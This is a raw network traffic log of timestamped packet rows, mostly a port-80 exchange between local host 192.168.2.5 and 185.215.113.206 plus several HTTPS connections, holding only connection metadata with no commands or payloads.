Nov 11, 2024 19:52:23.784903049 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.786498070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.786511898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.786523104 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.786535025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.786547899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.786560059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.786564112 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.786571980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.786613941 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.786640882 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.786652088 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.786676884 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.786676884 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.786705017 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813381910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813394070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813405991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813426971 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813471079 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813472986 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813483000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813493013 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813504934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813515902 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813554049 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813587904 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813597918 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813607931 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813620090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813633919 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813644886 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813647032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813647032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813657999 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813671112 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813680887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813693047 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813724995 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813725948 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813872099 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813889980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813900948 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813913107 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813914061 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813924074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813934088 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813936949 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.813956022 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.813996077 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814021111 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814032078 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814043045 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814054966 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814074993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814074993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814102888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814110994 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814114094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814124107 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814136982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814142942 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814148903 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814161062 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814188004 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814188004 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814222097 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814227104 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814239025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814250946 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814270973 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814301968 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814301968 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814330101 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814341068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814352036 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814363956 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814378977 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814412117 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814443111 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814451933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814461946 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814474106 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814485073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814491034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814502001 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814502001 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814552069 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814582109 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814594030 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814606905 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814618111 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814623117 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814630032 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814640999 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814652920 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814656019 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814662933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814694881 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814723969 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.814897060 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814907074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.814950943 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.815018892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.815041065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.815052986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.815058947 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.815071106 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.815083981 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.815093994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.815104961 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.815104961 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.815135002 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.815135002 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.832509995 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.832530975 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.843795061 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.844116926 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862134933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862148046 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862159014 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862191916 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862212896 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862220049 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862226963 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862238884 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862251997 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862262011 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862287998 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862308979 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862314939 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862325907 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862338066 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862351894 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862363100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862371922 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862371922 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862373114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862389088 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862426996 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862453938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862466097 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862478971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862490892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862502098 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862502098 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862502098 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862514019 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862529039 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862544060 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862555027 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862555027 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862567902 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862575054 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862592936 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862605095 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862699986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862711906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862724066 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862740993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862752914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862751961 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862752914 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862765074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862776995 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862793922 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862807989 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862838984 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862838984 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862869978 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862886906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862898111 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862909079 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862921953 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862926006 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862926006 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862936020 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.862974882 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.862974882 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863003969 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863014936 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863027096 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863039017 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863044977 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863044977 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863049984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863076925 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863096952 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863126993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863138914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863151073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863162041 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863163948 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863173962 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863187075 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863192081 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863198042 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863209963 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863219023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863220930 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863233089 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863245010 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863257885 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863260031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863260031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863286018 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863310099 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863368988 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863409042 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863452911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863465071 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863477945 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863488913 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863501072 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863508940 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863508940 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863512993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863524914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863537073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863552094 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863552094 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863590956 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863775015 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863785982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863796949 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863810062 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863816023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863821983 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863831043 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863835096 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863843918 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863857031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863864899 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863868952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863884926 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863888025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863898039 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863909960 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863912106 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863923073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863934040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863945961 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863945961 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863959074 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.863965034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863965034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.863972902 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864008904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864022970 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864198923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864209890 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864219904 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864237070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864248037 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864253044 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864260912 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864273071 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864284039 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864293098 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864293098 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864299059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864310026 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864322901 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864329100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864340067 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864350080 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864352942 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864361048 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864363909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864376068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864388943 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864401102 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864413023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864417076 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864417076 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864425898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864433050 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864437103 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864449024 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864459991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864460945 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864475012 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864485979 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864497900 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864507914 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864509106 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864510059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864522934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864531040 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864536047 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864559889 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864592075 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864787102 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864798069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864809990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864821911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864833117 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864844084 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864846945 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864846945 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864856958 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.864867926 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864887953 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.864906073 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.867094994 CET	443	49836	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.867415905 CET	49836	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.867423058 CET	443	49836	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.867748976 CET	443	49836	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.868227959 CET	49836	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.868293047 CET	443	49836	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.868503094 CET	49836	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.903579950 CET	49845	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:23.903625965 CET	443	49845	204.79.197.219	192.168.2.5
Nov 11, 2024 19:52:23.903687000 CET	49845	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:23.904053926 CET	49845	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:23.904068947 CET	443	49845	204.79.197.219	192.168.2.5
Nov 11, 2024 19:52:23.915326118 CET	443	49836	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.916662931 CET	49846	443	192.168.2.5	104.126.116.11
Nov 11, 2024 19:52:23.916680098 CET	443	49846	104.126.116.11	192.168.2.5
Nov 11, 2024 19:52:23.916729927 CET	49846	443	192.168.2.5	104.126.116.11
Nov 11, 2024 19:52:23.917092085 CET	49847	443	192.168.2.5	104.126.116.11
Nov 11, 2024 19:52:23.917115927 CET	443	49847	104.126.116.11	192.168.2.5
Nov 11, 2024 19:52:23.917174101 CET	49847	443	192.168.2.5	104.126.116.11
Nov 11, 2024 19:52:23.917354107 CET	49846	443	192.168.2.5	104.126.116.11
Nov 11, 2024 19:52:23.917365074 CET	443	49846	104.126.116.11	192.168.2.5
Nov 11, 2024 19:52:23.917709112 CET	49847	443	192.168.2.5	104.126.116.11
Nov 11, 2024 19:52:23.917721033 CET	443	49847	104.126.116.11	192.168.2.5
Nov 11, 2024 19:52:23.918257952 CET	49848	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:23.918277025 CET	443	49848	204.79.197.219	192.168.2.5
Nov 11, 2024 19:52:23.918343067 CET	49848	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:23.918535948 CET	49848	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:23.918551922 CET	443	49848	204.79.197.219	192.168.2.5
Nov 11, 2024 19:52:23.928517103 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.933409929 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.950793982 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:23.950860977 CET	443	49741	94.245.104.56	192.168.2.5
Nov 11, 2024 19:52:23.950917959 CET	49741	443	192.168.2.5	94.245.104.56
Nov 11, 2024 19:52:23.951153994 CET	49842	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.951560974 CET	49815	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:23.951591015 CET	49816	443	192.168.2.5	162.159.61.3
